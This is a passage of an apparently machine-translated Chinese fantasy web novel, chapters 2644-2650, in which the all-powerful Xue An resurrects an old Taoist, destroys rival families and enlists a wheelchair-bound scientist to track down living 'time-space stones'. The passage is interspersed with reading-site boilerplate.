    Hu Huan took a deep breath and smiled bitterly, "It seems that this young man is really extraordinary. He caused so many troubles as soon as he appeared. Would you like to check it out?"


    "What are you looking at?" Li Jingxing glanced at Hu Huan and said with a faint smile: "Aren''t you drunk and didn''t find anything?"


    Hu Huan was surprised.


    Li Jingxing looked into the distance and said lightly: "Actually, I have long seen these ghosts not pleasing to the eye. It''s just that these guys have a backstage in the federal government. Because of the affection, I have not been able to take them anymore!"


    "Although the young man who turned out to be a bit tyrannical, isn''t he acting for the heavens? After all, because of what the Ten Thousand Ghosts have done over the years, it would be more than guilty to be killed."


    "What do you think?" Li Jingxing turned to look at Hu Huan.


    A faint smile appeared on the corners of Huhuan''s mouth.


    "That''s right, I was just drunk and drunk, and I really didn''t see or hear anything!"


    Speaking of this, he yawned for a long time.


    "How about a drink with me?"


    Li Jingxing shook his head, "Forget it, I''m not interested in drinking with a male fox!"


    After that, he turned and left.


    "Cut! It''s like I''m willing to drink with a sword lunatic. You take it seriously."


    Huhuan curled his lips and went back to the house.


    They are gone.


    But the earthquake in the entire spiritual world has just begun.


    These tens of thousands of ghosts have occupied the southwest border for more than ten years, and they are really so fierce, even if they are fellow practitioners, no one wants to provoke these ghosts.


    But I didn''t expect that such a behemoth-like existence would be wiped out overnight.


    The close cultivators rushed here one after another, but none of them dared to come forward. They could only stand in the distance and watch the sky rise, stunned by the bright flames of most of the sky.


    "Who did this?"


    "I heard that it was a teenager who made the shot!"


    "Could it be the mysterious boy who made a big fuss in District 2 before?"


    "It should be him!"


    "Hey! What is the origin of this person? Why is the shot so fierce, UU reading and the methods are so superb at the same time?"


    There was a lot of discussion, and many people were shocked secretly, and then quietly escaped away with an ugly face.


    At the time of the global shock, Xue Anye had already returned to Qingmang Mountain.


    Zhai Laodao didn''t expect Xue An to come back so quickly. He thought that even if Xue An could get his lost soul back, it would take a few days.


    Before he opened his mouth to ask, Xue An nodded and pointed, and the missing soul flew into Zhai Laodao''s spirit body.


    In an instant, a faint brilliance appeared on his body, and his aura was gradually increasing at the same time.


    Xue An smiled slightly, "I will help you again."


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2644 Snap Fingers), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2645： Resurrection

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    With the voice, the tomb under the pear tree split open, and Zhai Laodao''s body flew out of it.


    Although he has been dead for a long time, his body is not decayed, but lifelike because of the nourishment of the Lord of Pear Blossoms.


    But even so, Xue An did not directly put the soul of Zhai Laodao into it.


    Because he knew that although this corpse hadn''t rotted, it had been exhausted because of the vitality that had been cut off for such a long time.


    If you force it to merge into one, even if it comes alive, it will not last long.


    However, Xue An could not be troubled by this. With a flick of his finger, a drop of blood flew out of his fingertips and merged into Zhai Laodao''s body.


    In an instant, the exhausted qi and blood came back to life again, and at the same time all the injuries in the body were repaired as before.


    After all this was done, Xue An used his divine mind to drive Zhai Laodao''s soul into this body.


    call!


    With Zhai Laodao''s body as the center, a circular air current suddenly appeared, blowing down countless pear flowers.


    Immediately afterwards, Zhai Laodao slowly opened his eyes, his eyes filled with surprise.


    "I''m resurrected now?"


    Xue An nodded with a smile, "What? Was it unexpected?"


    Zhai Lao Dao shook his fist, and then sighed with emotion.


    "After so long, I even forgot what it''s like to have a body."


    At this moment, the lord of the pear flower and many flower essences appeared one after another, and then cheered around Zhai Lao Dao.


    "Master Dao, you finally woke up!"


    "Yes, Master Dao, how does it feel to be alive again?"


    Seeing these naughty little flower essences, Zhai Laodao couldn''t help showing a spoiling color on his face, and then gently stroked the heads of these flower essences with his fingertips.


    "Yeah, I finally woke up, thank you for this too!"


    In fact, even Lao Dao Zhai himself did not expect that the ten thousand acres of pear orchard that he had planted out of temporary loneliness would become the key to saving himself.


    If it weren''t for the help of these flower essences, maybe his corpse would have been rotten and only the bones were left.


    At this point, Zhai Laodao couldn''t help feeling full of emotions.


    Xue An watched with a smile, and he said solemnly until Zhai Laodao had finished speaking.


    "These flowers have really paid a lot for you, so I decided to surprise them too."


    As he spoke, Xue An flicked his finger gently.


    The land under his feet suddenly began to rumbling loudly, and then, the majestic aura was instilled into the 10,000-acre pear orchard like no money.


    In an instant, all the pear trees grew rapidly under the nourishment of spiritual energy, and even the illusory figure with these little flower essences became condensed.


    finally.


    When this great change is completed, looking at the 10,000 mu pear orchard, it has changed a lot.


    All the pear trees have grown into towering giant trees, and exudes strong vitality.


    As for these small flower essences, they have obtained incalculable benefits.


    Zhai Laodao looked at Xue An and said sincerely, "Thank you!"


    Xue An waved his hand, "Thank you, but it''s just a matter of effort!"


    As he was talking, Xue An suddenly felt something, looked up at the sky, and then smiled slightly.


    "Didn''t you always want to see Guankou Erlang and Jiutian Profound Girl? They are here now!"


    Old Zhai was shocked, "Really?"


    "Well! Go, I''ll take you to meet them!"


    A moment later, in the North River.


    Xue An couldn''t help raising his eyebrows when he saw Yang Jian and Shuo Tian and his party rushing back.


    "How? Is it visible?"


    Although it was directed at them, Xue An''s gaze had been watching Xu Tian.


    Xiaotian blushed, and then nodded slightly.


    "seen!"


    "How? Isn''t it sweet?"


    After returning to the heavens this time, Xue An and Yang Jian and his party split up.


    Yang Jian, Xiaotian and others deal with their own affairs first.


    Of course, what I''m talking about here is actually following Xiaotian to meet Jiang Xunnan and his daughter, who is thinking about him.


    After hearing Xue An''s ridicule, Xiaotian smiled embarrassedly.


    "I did. It''s a pity that she doesn''t even know me in this timeline, and naturally she doesn''t have my daughter."


    When talking about this, Xiaotian''s eyes were full of sadness.


    Xue An was stunned for a while, even though he thought of something, he couldn''t help sighing.


    "It turned out to be like this, but it should have been thought of a long time ago."


    The reason why Xiaotian and Jiang Xunnan were able to meet and fall in love at the beginning was all because of Xue An.


    So in this timeline without Xue An, Jiang Xunnan would naturally not recognize Xuantian.


    At this moment, the Nine Heavens Profound Girl, who had been silent for a while, couldn''t help but screamed for joy.


    "Xiaotian, if you just say that she doesn''t know you, why don''t you talk about the next thing?"


    Xiaotian''s face turned red, and he kept silent.


    Xue An was a little strange, "What happened again?"


    Yang Jian Yile, "In fact, nothing happened, just that Xiaotian and that girl Jiang fell in love at first sight again!"


    There is something wrong with this statement.


    How can love at first sight be described again?


    But Xue An understood what was going on.


    It''s actually very simple. Even if the timeline has changed, due to the inertia of fate, many things will inevitably move in the same direction.


    For example, even if Xue An does not exist, the Fire Phoenix Special Forces are still formed.


    This is a situation Xue An has noticed long ago.


    Therefore, Xue An is not surprised that Xiaotian and Jiang Xunnan fall in love at first sight again.


    And just as they were talking, Zhai Lao Dao on the side was full of excitement.


    What can be more exciting than seeing the gods that you have served all your life appearing in front of you all your life?


    This is the mood of Zhai Lao Dao now.


    Regardless of whether it was Huye or Yangjian, everyone noticed him at this moment.


    "Lao Xue, you ran out on purpose, and even destroyed the Ten Thousand Ghosts Gate just to find him?" Hu Ye asked in astonishment.


    Xue An nodded, UU read and then did not hide it, and directly revealed all the information he had learned.


    After finishing talking, Xue An took out the two time-space stones and said in a deep voice: "Now it can be concluded that the key to changing this situation is this thing! I have collected two pieces, and the rest will depend on your efforts. NS!"


    Hu Ye patted his forehead, and said ecstatically: "Well, as long as there is a goal, I am most afraid of searching aimlessly!"


    With that said, he couldn''t wait to fly up.


    "You guys are resting here, I''ll look for it first!"


    Seeing Fox Ye leaving in a hurry, Yang Jian couldn''t help but sigh.


    "It seems that this fox night, who is usually very indifferent, is still very caring when he encounters things that concern his relatives!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2645 Rebirth), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2646： Offer a reward

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Xue An smiled and did not speak.


    Soon, everyone dispersed.


    And there is only one goal, and that is to find the stone of time and space.


    After Yang Jian and others, even Zhai Lao Dao left.


    Only then did Qin Yu summon the courage to step forward and salute Xue Anshen.


    "Mr. Xue, thank you for your previous action, now my grandfather has recovered sober!"


    Xue Anyun nodded lightly.


    He was not surprised by this result.


    Because no matter how the timeline changes, the general context of the development of the story has not changed much.


    So since Qin Yuan will not die in a world that has not been tampered with, there is a high probability that he will be fine in this timeline.


    Facing Xue An, Qin Yu was inexplicably nervous.


    After all, this young man has created many miracles in just a few days.


    First break through the second area, then cut the door of ten thousand ghosts.


    Each one is a major event that is enough to shake the whole world, but it is so understatement in the hands of this young man that it is not worth mentioning.


    Only then did Qin Yu understand that this young man is by no means an ordinary person.


    Thinking of this, she gritted her teeth, "Mr. Xue, Daen does not say thank you. Although I am not able to help you much, but I have heard what you said just now, and I will do my best to help you find that. It''s a stone!"


    After that, Qin Yu turned and left.


    For her words, Xue An just smiled and didn''t take it to heart.


    After all, this time and space stone is the key clue to the puzzle, obviously not a thing.


    Even if this Qin Yu''s family had a little background, and even attracted the coveting of the Carter family, it was impossible to come into contact with this kind of thing.


    Thinking of the Carter family, Xue An''s heart suddenly moved, and then he flashed, traversing a distance of thousands of kilometers in an instant, and arrived in the second district of New York City.


    At this moment, the situation in New York City has undergone earth-shaking changes.


    Yesterday, Xue An''s aftermath of destroying the Carter family in one fell swoop did not dissipate, and Griffin swept the entire New York City giants with thunderous means.


    Wherever he went, no one dared to complain.


    After all, standing behind Griffin at the moment was the man who destroyed the starring with his own power and kept the Federal Government silent until now.


    In this process, another family also shines.


    It was the Leicester family to which Mandy belonged.


    This Mandy was obviously not an ordinary woman, she was very keen to seize the opportunity in front of her, and persuaded her family, and finally turned to Griffin as a whole.


    And this move also won rich returns for the Leicester family.


    At least many family lands are now Leicester''s territory.


    Griffin didn''t care about it.


    Because he knows very well that all his current support actually comes from Xue An, and these so-called territories or benefits are nothing more than trivial petty gains attached to it.


    At this moment, he suddenly felt a familiar breath appearing in the office.


    In the next second, Xue An''s figure emerged.


    Griffin stood up immediately, showing extreme humility towards Xue An''s arrival.


    "grown ups!"


    Xue An didn''t talk nonsense either, spread his hands directly, and there was a floating stone of time and space in the palm of his hand.


    "Have you seen this thing?"


    Griffin didn''t dare to neglect, he immediately looked up, but after waiting for a moment, he couldn''t help but shook his head.


    "never seen it!"


    Xue An knew this would be the result, so he was not disappointed, but went on to ask.


    "In today''s federal government, how many other families such as the Carter family?"


    Griffin immediately began to calculate, and finally reached out five fingers.


    "If you calculate by scale and history, there are five other families that are comparable to the Carter family! They are..."


    Xue An interrupted Griffin directly, "Well, there is no need to introduce their names. I can''t remember them anyway. Just tell me where they are!"


    "Yes!"


    Griffin didn''t dare to neglect, and immediately revealed what he knew.


    After he finished speaking, Xue An flashed away and disappeared in place.


    Griffin looked in a daze at the empty room again.


    Sudden.


    He gave Lingling a chill.


    Because he suddenly understood why Xue An asked that way just now.


    After all, a dragon set that will die after only one appearance is not eligible to have a name.


    really.


    Just as Griffin was in shock, the entire second district was once again a **** storm.


    The first to suffer was the other big family closest to New York City.


    The history of this family can even be traced back to the time when the second district was first established, and it was an out-and-out family with real power.


    But no matter how deep their background and origins are, they can''t save their fate that has been destroyed at this moment.


    However, with a snap of his fingers, Xue An''s figure rushed out of the manor that had turned into a sea of ??flames.


    Xue An didn''t even have the slightest pressure in his heart to clean up these giants.


    Because of these second-district giants, every one of them has a dirty and stinking past, and it is not an exaggeration to kill them all.


    But Xue An obviously didn''t come here to help the people in the second district.


    His purpose is very simple, is to find clues to the time and space stones from these giants.


    After all, he had found a large space-time stone in the Carter family before.


    But obviously this thing is not so easy to encounter.


    Not in this family.


    But Xue An was not discouraged, and went straight to the next goal.


    In the blink of an eye, the other four giants were all killed, and the result was still nothing.


    Xue An couldn''t help frowning at this.


    Could it be that the two time and space stones that I encountered before were luck?


    You must know that this thing can perfectly shield your own spiritual search, unless you see it with your own eyes, it is impossible to search it out.


    Do you really want to look for it a little bit?


    Thinking of this, Xue An felt a little irritable inexplicably, so he returned to Griffin''s office.


    At this time Griffin just received news from the outside world.


    In just a few minutes, the five families were destroyed at the same time.


    Despite his psychological preparation, Griffin''s hands and feet could not stop shaking.


    Each of the five big families has been passed down for hundreds of years and has a pivotal existence in the federal government.


    But in the hands of this young man, UU reading is like a chicken dog, completely vulnerable.


    At this moment, time and space trembled, and Xue An''s figure emerged.


    "Let''s pass on the order and try our best to search for this thing. If there is someone who can provide clues, I will reward it for countless!"


    Griffin bowed his head deeply, "Yes!"


    When he raised his head again, Xue An had disappeared.


    Griffin''s eyes were faintly red.


    Not because of anger, but because of greed.


    Countless rewards!


    He couldn''t be more clear about what these three words meant.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2646 reward), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2647： Disappear

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Mars.


    The big screen was shining with bright white light, shining on Zhang Tianyou''s face, making his look obscure.


    The light in the huge research room is dim. Except for this bright screen, all the equipment has been turned off, and even the air-breathing switch has been shut down.


    The air can be described as dirty and unpleasant.


    But Zhang Tianyou sat in such an environment for three days.


    He didn''t even move during the whole process, as if he was about to see something on this blank screen.


    Hum.


    With a soft sound, the door slid away, and then the graceful little secretary walked in.


    "President, eat something!"


    The little secretary put the tray with food on the table and said softly.


    "No, I''m not hungry!"


    Even when he was speaking, Zhang Tianyou still stared at the screen, as if he was afraid of missing important information.


    The little secretary sighed and walked behind Zhang Tianyou and gently kneaded his shoulders.


    "President, what are you looking at?"


    "It''s nothing, just a little worried." Zhang Tianyou said solemnly.


    "Now that Mr. Xue has already wiped out the star ring, is there anything you don''t worry about?"


    "Destroy?" Zhang Tianyou shook his head with a wry smile, "It was made by my own hands. No one understands its power better than me, so no matter how powerful Xue An is, it is impossible to completely eliminate it."


    "Then why is there no trace of her until now?"


    "This is what I worry about the most!" Zhang Tianyou sighed.


    As soon as the voice fell, the air in the research room burst into waves, and then Xue An''s figure appeared.


    When he saw him suddenly appeared, the little secretary was shocked. Just as he was about to say something, Zhang Tianyou didn''t even turn his head and chuckled.


    "You finally came!"


    Xue An was silent, and walked to Zhang Tianyou''s side.


    The little secretary looked at Xue An nervously.


    Zhang Tianyou patted her hand, "You go out first!"


    "Yes!"


    Although the little secretary was a little worried, she didn''t dare to defy Zhang Tianyou''s order and turned around and walked out.


    Xue An looked at the big screen and said lightly: "Did you know I would come?"


    Zhang Tianyou smiled, "It''s not difficult to guess, after all, it hasn''t appeared yet, so you must be wondering too."


    "Yes!" Xue An turned sideways, looking at Zhang Tianyou with a cold look.


    "Didn''t you say that it is extremely difficult to be destroyed? Why did it seem to disappear after I wiped out all its clones on the earth, and never appeared again?"


    Zhang Tianyou smiled slightly, then looked at the big screen in front of him, "Actually, it''s not only you who are wondering, but also me."


    "This screen is actually my observation of the entire solar system. As soon as it appears, the corresponding location information will appear on the screen. But I have been sitting here for three days, but I didn''t even find any clues."


    Speaking of this, Zhang Tianyou''s complexion gradually became serious, "But because of this, I am full of worries."


    Seeing the expression on Zhang Tianyou''s face, Xue An narrowed the cold light in his eyes.


    To be honest, before coming here, he did doubt Zhang Tianyou.


    After all, the star ring was made by himself, and the most important point of artificial intelligence is absolute loyalty to the owner.


    But it was such an artificial intelligence that suddenly turned back, betraying his master and took refuge in the federal government.


    No matter how you think about it, I feel a bit weird.


    Especially this time, Xue An made an effort to destroy the Starlink clones in the entire Earth-Moon range, just thinking of using this method to draw out the forces lurking under the water.


    Unexpectedly, it wasn''t Starring''s counterattack that would usher in, but a strange silence.


    This made Xue An more suspicious.


    But at this moment, Xue An dispelled his doubts.


    Because Zhang Tianyou��s eyes were so calm, and he opened his heart to Xue An directly, allowing him to look up what he thought,


    All these performances prove that Zhang Tianyou is really unaware of these things.


    Thinking of this, Xue An temporarily put the matter of the star ring aside, and then took out the time and space stone he obtained from the Carter family.


    "Have you seen this thing?"


    Zhang Tianyou glanced suspiciously, then shook his head, "I haven''t seen it."


    "you sure?"


    Zhang Tianyou smiled and nodded his head with his hand, "From childhood to adulthood, everything I have seen is stored in my mind in different categories. There will never be any omissions, so if I have seen If you don��t know this thing, you won��t know it."


    Speaking of this, Zhang Tianyou looked at the stone in Xue An''s hand curiously.


    "What exactly is this?"


    Xue An didn''t conceal it either, and directly recounted what happened.


    When he heard that the stone was actually related to the chaotic timeline, Zhang Tianyou couldn''t help but startled, and then a raging flame burned in his eyes.


    That is the flame of knowledge.


    "Can I have a look?"


    Xue An threw it over.


    Zhang Tianyou immediately manipulated a manipulator to catch it, and then pushed the wheelchair sitting under him.


    In an instant, the entire research room seemed to come alive, lighting up the lights and equipment in turn.


    Immediately afterwards, Zhang Tianyou had no choice but to come to the console and carefully began to study this time-space stone.


    Xue An didn''t speak either, just watched quietly from the side.


    After a while, Zhang Tianyou''s face showed excitement, "Interesting, really interesting, this thing can actually change the flow of time on the surface of the body."


    "What''s the meaning?"


    "That is to say, the time flow rate of this stone is different from the outside world, but according to theory, this situation generally only appears on the surface of a massive celestial body! It''s really strange!"


    Zhang Tianyou muttered to himself, and then said to Xue An: "Can I collect a small specimen from it?"


    Speaking of this, Zhang Tianyou hurriedly explained: "Don''t worry, I will be very careful and only take a piece the size of a soy bean!"


    Xue An smiled slightly, "Of course, please!"


    Zhang Tianyou was overjoyed and didn''t know where he manipulated, and the entire research room immediately began to deform.


    In the blink of an eye, an operation desk with complete facilities and complete isolation measures appeared in front of him.


    Zhang Tianyou cautiously placed the stone in the center of the operating table, and then the three glass covers were dropped down in sequence to cover them.


    "These glasses are all specially made by me, and each piece can withstand the impact of tens of thousands of tons to ensure that it is foolproof."


    Zhang Tianyou explained, and then enthusiastically manipulated the mechanical arm inside and started to operate.


    It looks like a child who has obtained a novel toy, full of curiosity.


    Xue An also didn''t say a word.


    Hum!


    Accompanied by the operation of the ultra-high-speed motor, an exquisite and sturdy drill bit carefully approached this space-time stone.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2647 disappears), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2648： Breathtaking

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "This drill is also specially made by me. Regardless of its small size, it is extremely strong, and can even cut nano-titanium alloys." Zhang Tianyou explained like a few.


    Whenever talking about these things, Zhang Tianyou will be very excited.


    Xue An just smiled faintly, holding his arms and did not respond.


    In the next instant, the drill bit touched this space-time stone, and then... it broke!


    That''s right!


    The special drill bit that can cut the hardest nano metal unscrupulously broke the moment it touched this time-space stone.


    And it broke so cleanly.


    It''s as if this is not a drill bit, but a fragile branch.


    Zhang Tianyou couldn''t help being a little surprised, but he became even more excited in the next second.


    "Sure enough! It seems that I underestimated you."


    Speaking of this, Zhang Tianyou eagerly started the next wave of operations.


    This time it was not a drill bit, but a faint blue laser beam.


    "Have you seen this laser? Do you think it is very inconspicuous? In fact, this is the big killer under my hand. Under its seemingly weak appearance, it actually contains a huge capacity of dozens of megajoules. It is invincible!"


    Zhang Tianyou looked at the scene in the glass cover obsessively.


    What he likes most is this feeling of exploring the unknown.


    And these invincible weapons are his most powerful tools.


    But when the laser beam touched the space-time stone, a magical scene happened.


    It was seen that the laser beam was forcibly bent at an angle, and then penetrated the three-layer glass cover, penetrated the ceiling and roof of the research room, and disappeared into the night sky of Mars.


    Zhang Tianyou opened his eyes wide and looked at this scene in disbelief.


    He never expected that all the tools he was proud of couldn''t help this stone.


    Especially this laser beam was specially made by him, and its energy is so strong that it can even rival the full blow of the Immortal King.


    Suddenly.


    He seemed to have thought of something, and suddenly rushed to the console.


    The glass cover fell, and then Zhang Tianyou began to study it carefully.


    After a while, Zhang Tianyou let out a sigh of relief and raised his head to look towards Xue An.


    "Have you already known this will be the result?"


    Xue An smiled slightly, "Forget it, I didn''t expect it to end so soon!"


    In fact, Xue An carefully studied it when he first obtained this time-space stone.


    It turns out that even if he is stronger than himself, he still can''t do anything about this kind of stone.


    But the problem is that when the Carter family first summoned the evil demon outside the territory, they used a small stone that was divided.


    For this reason, Xue An deliberately studied the fascinating memories of those high-level Carter family.


    It turns out that they don''t know how this thing came from.


    Just know that this time stone will split into a small piece of itself under extremely accidental circumstances.


    This is the source of that little stone.


    Xue An came to see Zhang Tianyou this time, firstly to inquire about Star Ring, and secondly, he wanted this scientific lunatic to analyze the source of this thing.


    But when Zhang Tianyou proposed to cut a specimen, Xue An already knew the result.


    The reason why he didn''t say it was just to see what tricks Zhang Tianyou could do.


    As expected, Zhang Tianyou couldn''t help this stone even if he tried his best.


    However, Zhang Tianyou was not at all discouraged, on the contrary, he became more and more excited.


    For people like him, the more difficult things to deal with, the more curiosity in the heart can be aroused.


    Zhang Tianyou didn''t know where he took out a lot of bottles and cans, and he started beating against this time-space stone.


    Xue An simply sat aside and watched quietly.


    After a long time, Zhang Tianyou raised his head with a thoughtful expression on his face.


    "How? Did you find anything?" Xue An asked.


    Zhang Tianyou didn''t say a word, and it was not until a long time later that he heard him whisper softly: "It''s amazing, it''s amazing!"


    Then he looked at Xue An solemnly.


    "I think I know why this thing is indestructible. The problem lies in the flow of time on its surface."


    "I''m so stupid, I should have thought of it just now! Because of the uneven flow of time, a barrier is formed on its surface. Normal touch doesn''t matter, but if you want to destroy it, this time barrier is just fine. Will intervene immediately."


    "Because of the uneven flow rate of time, the incoming object will begin to disintegrate from the inside. In this way, the strong and strong thing will also be broken. This is its self-protection measure!"


    Seeing Zhang Tianyou who was full of wonder, Xue An couldn''t help but admire a little.


    Industry specializing in surgery.


    Xue An''s cultivation is indeed strong enough, and much smarter than the average person.


    But compared with Zhang Tianyou, who has dedicated his life to science, it is still three points inferior.


    For example, this matter now.


    Although Xue An knew that the stone of time and space was very strong, he didn''t know why.


    And Zhang Tianyou has analyzed a general idea in just over an hour from the beginning to the present.


    And just as they were talking, the time stone on the console suddenly began to tremble.


    "What''s the matter?" Zhang Tianyou asked in surprise.


    As soon as the voice fell, I saw this time-space stone split into a small piece of stone.


    This scene stunned Zhang Tianyou.


    He had counted everything, but he didn''t expect that this thing would actually give birth.


    That''s right!


    The splitting process of the Time Stone just now resembles the birth of animals.


    "I understand, I finally understand, this thing is not a stone at all, it is clearly alive!"


    Zhang Tianyou suddenly yelled, and then looked at Xue An.


    "How many dollars did you get in total?"


    "Two dollars!"


    "Take them all out!"


    Xue An also took out the piece that he had obtained from the Gate of Ten Thousand Ghosts. Zhang Tianyou compared the two and finally determined his inner thoughts.


    "This thing really has life! But it''s obviously impossible!" Zhang Tianyou sat in a wheelchair in despair.


    "Why is it impossible?"


    "Because of the various forms of life there is no such thing, especially it can also control time, I really can''t understand how it is formed!"


    "Did you find these two pieces after searching the entire earth?"


    Xue An nodded.


    "Did you not go to the Federal Enclave to check it out? Since this thing is related to the current timeline, then this Federal Enclave, as a group of supporters of the heavenly gods, should also have this stuff!"


    "I went, but there was nothing but a bunch of dead officials there, no clues to the so-called gods descended from the sky, and no such time-space stone!"


    Speaking of this, Xue An took a deep look at Zhang Tianyou.


    "That''s why I came to you!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2648 is amazing), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2649： Detect fluctuations

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "Why are you looking for me?"


    "Help me find the stone of time and space!" Xue An said lightly, and then added another sentence.


    "This thing can perfectly shield my spiritual search, so even I can''t figure out its whereabouts."


    "Do you think I can do it?" Zhang Tianyou asked rhetorically.


    Xue An smiled, "Didn''t you always want to rely on technology to change everything? Now this opportunity lies in front of you, I don''t believe you are not moved."


    Zhang Tianyou looked at Xue An, and chuckled lightly after a long while.


    "You really guessed it. I''m really curious about the origin of this thing, so even if you don''t tell me, I will take the initiative to find its whereabouts!"


    Zhang Tianyou has a quick temper, and since he agreed, he has to do what he said, so he soon started to get busy.


    "This stone has all the physical signs of life, and at the same time it can control time, forming a space-time barrier on its surface. This is the reason why your divine mind cannot detect it."


    "But this thing is not a completely decipherable solution, because as long as it is life, it must be exchanged with the outside world. This is determined by the law of entropy increase, and no one can change it. So if you want to find its whereabouts, you have to Start from this aspect."


    Speaking of this, Zhang Tianyou''s eyes suddenly lit up, "Wait a minute, I suddenly have an idea!"


    Having said that, he almost ran to the console, muttering to himself, and at the same time dozens of manipulators stretched out from the wheelchair under him and started waving frantically.


    Sparks flew everywhere and parts flew.


    Seeing Zhang Tianyou who was already in a state of selflessness, Xue An shrugged, and then sat aside patiently and waited.


    After a full hour, Zhang Tianyou excitedly held up something rough and crude, similar to a pistol.


    "This is the detector! If I''m not mistaken, the exchange between this space-time stone and the outside world should be in a wave-like form."


    With that said, Zhang Tianyou wielded the detection gun, aimed at the Time Stone and pulled the trigger.


    Hum.


    With a soft sound, a curve suddenly appeared on the big screen, and it began to fluctuate like a heartbeat.


    Zhang Tianyou exclaimed in excitement.


    "Sure enough! Now that the law of its fluctuations have been found, the next step is easy. I only need to build a large enough detection telescope and input the law of fluctuations into it to detect the stars one by one. How? Am I a genius?"


    Xue An stood up and smiled at him slightly, "You are wrong, you are a genius among geniuses."


    Zhang Tianyou laughed, "You really have a vision."


    Having said that, he immediately set about building a telescope to detect the whereabouts of the Time Stone.


    At this time, the mad scientists gathered under his command came in handy.


    After hearing that this would be a great action that could change the entire universe, these scientists all became excited and put aside their work and devoted themselves to this construction.


    And just when Zhang Tianyou and the entire science and technology reform society were busy with sleep and food, far in the north river of the earth, Du Fan was also busy.


    In fact, it is not just him, the whole earth is boiling at this moment.


    Countless people dig three feet into the ground with red eyes looking for the stone of time and space.


    The reason naturally comes from Xue An''s countless rewards.


    But it''s not only that, because after receiving Xue An''s order, Griffin immediately used all his influence to offer a price that would make anyone crazy.


    Upon seeing this, Mandy also mobilized his own family and began to fuel the flames.


    On the Beijiang side, Qin Yu also represented that the Qin Group had offered a very generous offer.


    For a time, the whole world was excited by the high rewards one after another.


    Du Fan is no exception.


    Just ask who doesn''t want to get rich overnight, let alone Du Fan has long been tired of this so-called big brother.


    He knows that people like himself are inferior to dogs in the eyes of real power.


    So he always doesn''t want to go ashore as soon as possible.


    The reward this time is obviously an excellent opportunity.


    As long as you can find a stone of time and space, you can climb to the sky in one step, and even get the favor of Mr. Xue.


    He first mobilized all his subordinates to search in Beijiang City, but the result naturally came back in vain.


    But Du Fan is not discouraged, he is very good at summarizing.


    After careful consideration, he decided to find another way.


    In his opinion, since even Mr. Xue, who shook the whole world once he was born, valued this time-space stone so much, it proved that this thing is absolutely scarce.


    Therefore, it is certainly impossible to find this kind of treasure by ordinary means.


    Rather than searching everywhere like a headless fly, it is better to gather intelligence from various parties and then look for clues from it.


    After making up his mind, Du Fan began to gather information frantically.


    At this moment, someone he never expected came to him.


    A low-key commercial vehicle drove slowly into the place where Du Fan lived, and then walked down a beautiful lady from above.


    "Black King, is this the guy''s residence?" Qin Yu said lightly.


    Standing behind him was Hei Wang, the security general manager of the Qin Group. After hearing the question from the eldest lady, he immediately nodded.


    "Yes! I have dealt with this guy several times, and he usually lives in this place."


    "It''s quite concealed!" Qin Yu looked around and said in a deep voice.


    The Black King smiled, "This guy is notoriously timid and cautious. If it weren''t for the fact that I helped him once, it would be impossible to know his specific address."


    Speaking of this, the Black King finally couldn''t help his curiosity, and asked in a low voice: "Miss, although I shouldn''t ask this, but what are you looking for? If there is something, let me tell him directly. , Why bother you come to him yourself?"


    Qin Yu smiled, "What you don''t understand, this guy is very useful."


    At this moment, I saw Du Fan hurriedly stepping out, shouting apologetically as he walked.


    "What''s the trouble of the black manager, you come to the door personally, UU reading , if you have anything to do, call directly and order...Uh!"


    Du Fan was stunned, because he never expected that the Qin family eldest lady would actually appear here.


    You must know that compared with Qin Yu in his capacity, not to mention the difference is also very different.


    Even the Black King, who is the security manager of the Qin Group, was the object of his fondness, let alone the eldest lady.


    So he didn''t understand what this young lady wanted to do when she suddenly appeared here!


    Du Fan, who was naturally cautious and suspicious, couldn''t help but feel waves of waves in his heart.


    At this moment, Qin Yu stepped forward and stretched out his hand at Du Fan.


    "This must be Mr. Du, we meet for the first time, please take care of me!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2649 Detecting Fluctuations), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2650： cooperate

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Seeing the radiant and radiant woman in front of him, like a star, Du Fan became even more dazed.


    It wasn''t until the black king coughed twice that he felt relieved, and then he hurriedly stretched out his hand and shook it.


    "Miss Qin is too polite, how can I, dare you to verbally say the word "caring"?"


    Qin Yu smiled and looked around, "Can we go in and talk?"


    "Ah! Of course, I was rude, please come in!"


    Du Fan quickly led the way, and a group of people walked into the room.


    Although the building looks dilapidated from the outside, it has a unique cave inside, and the decoration is not luxurious but it is quite decent.


    At this moment, Du Fan''s messy subordinates have long been rejected.


    The room was very quiet. After taking a seat, Qin Yu waved his hand to reject the refreshment that Du Fan offered to him, and then said in a deep voice.


    "Mr. Du, we don''t have to be polite. To put it straight, you must be very curious why I should come to you!"


    Du Fan nodded, "I do have some doubts."


    "Actually, I came here to ask for something!"


    Du Fan almost thought he had heard it wrong, and pointed his nose with his finger, "Please?"


    "Yes!"


